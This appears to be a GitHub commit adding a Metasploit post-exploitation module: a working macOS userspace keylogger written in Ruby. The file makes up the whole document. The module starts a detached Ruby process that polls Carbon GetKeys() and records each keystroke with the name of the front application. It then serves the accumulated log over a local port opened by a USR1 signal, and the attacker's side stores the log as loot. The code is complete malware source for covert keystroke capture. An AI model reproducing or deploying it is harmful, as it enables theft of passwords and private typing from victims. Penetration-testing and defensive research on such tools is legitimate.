Skip to content

Commit 1cdf77d

Browse files
committed
OSX keylogger module finally working.
1 parent 54af292 commit 1cdf77d

File tree

1 file changed

+293
-0
lines changed

1 file changed

+293
-0
lines changed

modules/post/osx/gather/keylogger.rb

Lines changed: 293 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,293 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'shellwords'
9+
10+
class Metasploit3 < Msf::Post
11+
include Msf::Post::Common
12+
include Msf::Post::File
13+
include Msf::Auxiliary::Report
14+
15+
# the port used for telnet IPC. It is only open after the
16+
# keylogger process is sent a USR1 signal
17+
attr_accessor :port
18+
19+
# the pid of the keylogger process
20+
attr_accessor :pid
21+
22+
# where we are storing the keylog
23+
attr_accessor :loot_path
24+
25+
26+
def initialize(info={})
27+
super(update_info(info,
28+
'Name' => 'OSX Userspace Keylogger',
29+
'Description' => %q{
30+
Logs all keyboard events except cmd-keys and GUI password input.
31+
32+
Keylogs are transferred between client/server in chunks
33+
every SYNCWAIT seconds for reliability.
34+
35+
Works by calling the Carbon GetKeys() hook using the DL lib
36+
in OSX's system Ruby. The Ruby code is executed in a shell
37+
command using -e, so the payload never hits the disk.
38+
},
39+
'License' => MSF_LICENSE,
40+
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
41+
'Platform' => [ 'osx'],
42+
'SessionTypes' => [ 'shell', 'meterpreter' ]
43+
))
44+
45+
register_options(
46+
[
47+
OptInt.new('DURATION',
48+
[ true, 'The duration in seconds.', 600 ]
49+
),
50+
OptInt.new('SYNCWAIT',
51+
[ true, 'The time between transferring log chunks.', 10 ]
52+
),
53+
OptInt.new('LOGPORT',
54+
[ false, 'Local port opened for transferring logs', 22899 ]
55+
)
56+
]
57+
)
58+
end
59+
60+
def run_ruby_code
61+
# to pass args to ruby -e we use ARGF (stdin) and yaml
62+
opts = {
63+
:duration => datastore['DURATION'].to_i,
64+
:port => self.port
65+
}
66+
cmd = ['ruby', '-e', ruby_code(opts)]
67+
68+
rpid = cmd_exec(cmd.shelljoin, nil, 10)
69+
70+
if rpid =~ /^\d+/
71+
print_status "Ruby process executing with pid #{rpid.to_i}"
72+
rpid.to_i
73+
else
74+
raise "Ruby keylogger command failed with error #{rpid}"
75+
end
76+
end
77+
78+
79+
def run
80+
if session.nil?
81+
print_error "Invalid SESSION id."
82+
return
83+
end
84+
85+
print_status "Executing ruby command to start keylogger process."
86+
87+
@port = datastore['LOGPORT'].to_i
88+
@pid = run_ruby_code
89+
90+
begin
91+
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
92+
print_status "Entering read loop"
93+
while true
94+
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
95+
Rex.sleep(datastore['SYNCWAIT'])
96+
print_status "Sending USR1 signal to open TCP port..."
97+
cmd_exec("kill -USR1 #{@pid}")
98+
print_status "Dumping logs..."
99+
log = cmd_exec("telnet localhost #{self.port}")
100+
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
101+
log = log_a.join("\n")+"\n"
102+
print_status "#{log_a.size} keystrokes captured"
103+
if log_a.size > 0
104+
if self.loot_path.nil?
105+
self.loot_path = store_loot(
106+
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
107+
)
108+
else
109+
File.open(self.loot_path, 'a') { |f| f.write(log) }
110+
end
111+
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
112+
print_status "Saved to #{self.loot_path}"
113+
end
114+
end
115+
end
116+
rescue ::Timeout::Error
117+
print_status "Keylogger run completed."
118+
end
119+
end
120+
121+
122+
def kill_process(pid)
123+
print_status "Killing process #{pid.to_i}"
124+
cmd_exec("kill #{pid.to_i}")
125+
end
126+
127+
def cleanup
128+
return if not @cleaning_up.nil?
129+
@cleaning_up = true
130+
131+
return if session.nil?
132+
133+
if @pid.to_i > 0
134+
print_status("Cleaning up...")
135+
kill_process(@pid)
136+
end
137+
end
138+
139+
def ruby_code(opts={})
140+
<<-EOS
141+
# Kick off a child process and let parent die
142+
child_pid = fork do
143+
require 'thread'
144+
require 'dl'
145+
require 'dl/import'
146+
147+
148+
options = {
149+
:duration => #{opts[:duration]},
150+
:port => #{opts[:port]}
151+
}
152+
153+
154+
#### Patches to DL (for compatibility between 1.8->1.9)
155+
156+
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
157+
158+
def ruby_1_9_or_higher?
159+
RUBY_VERSION.to_f >= 1.9
160+
end
161+
162+
def malloc(size)
163+
if ruby_1_9_or_higher?
164+
DL::CPtr.malloc(size)
165+
else
166+
DL::malloc(size)
167+
end
168+
end
169+
170+
# the old Ruby Importer defaults methods to downcase every import
171+
# This is annoying, so we'll patch with method_missing
172+
if not ruby_1_9_or_higher?
173+
module DL
174+
module Importable
175+
def method_missing(meth, *args, &block)
176+
str = meth.to_s
177+
lower = str[0,1].downcase + str[1..-1]
178+
if self.respond_to? lower
179+
self.send lower, *args
180+
else
181+
super
182+
end
183+
end
184+
end
185+
end
186+
end
187+
188+
#### 1-way IPC ####
189+
190+
log = ''
191+
log_semaphore = Mutex.new
192+
Signal.trap("USR1") do # signal used for port knocking
193+
if not @server_listening
194+
@server_listening = true
195+
Thread.new do
196+
require 'socket'
197+
server = TCPServer.new(options[:port])
198+
client = server.accept
199+
log_semaphore.synchronize do
200+
client.puts(log+"\n\r")
201+
log = ''
202+
end
203+
client.close
204+
server.close
205+
@server_listening = false
206+
end
207+
end
208+
end
209+
210+
#### External dynamically linked code
211+
212+
SM_KCHR_CACHE = 38
213+
SM_CURRENT_SCRIPT = -2
214+
MAX_APP_NAME = 80
215+
216+
module Carbon
217+
extend Importer
218+
dlload 'Carbon.framework/Carbon'
219+
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
220+
extern 'void GetFrontProcess(ProcessSerialNumber *)'
221+
extern 'void GetKeys(void *)'
222+
extern 'unsigned char *GetScriptVariable(int, int)'
223+
extern 'unsigned char KeyTranslate(void *, int, void *)'
224+
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
225+
extern 'int CFStringGetLength(void *)'
226+
end
227+
228+
psn = malloc(16)
229+
name = malloc(16)
230+
name_cstr = malloc(MAX_APP_NAME)
231+
keymap = malloc(16)
232+
state = malloc(8)
233+
234+
#### Actual Keylogger code
235+
236+
itv_start = Time.now.to_i
237+
prev_down = Hash.new(false)
238+
239+
while (true) do
240+
Carbon.GetFrontProcess(psn.ref)
241+
Carbon.CopyProcessName(psn.ref, name.ref)
242+
Carbon.GetKeys(keymap)
243+
244+
str_len = Carbon.CFStringGetLength(name)
245+
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
246+
app_name = if copied then name_cstr.to_s else 'Unknown' end
247+
248+
bytes = keymap.to_str
249+
cap_flag = false
250+
ascii = 0
251+
252+
(0...128).each do |k|
253+
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
254+
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
255+
if not prev_down[k]
256+
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
257+
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
258+
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
259+
prev_down[k] = true
260+
if curr_ascii == 0
261+
cap_flag = true
262+
else
263+
ascii = curr_ascii
264+
end
265+
end
266+
else
267+
prev_down[k] = false
268+
end
269+
end
270+
271+
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
272+
log_semaphore.synchronize do
273+
if ascii > 32 and ascii < 127
274+
c = if cap_flag then ascii.chr.upcase else ascii.chr end
275+
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
276+
else
277+
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
278+
end
279+
end
280+
end
281+
282+
exit if Time.now.to_i - itv_start > options[:duration]
283+
Kernel.sleep(0.01)
284+
end
285+
end
286+
287+
puts child_pid
288+
Process.detach(child_pid)
289+
290+
EOS
291+
end
292+
end
293+

0 commit comments

Comments
 (0)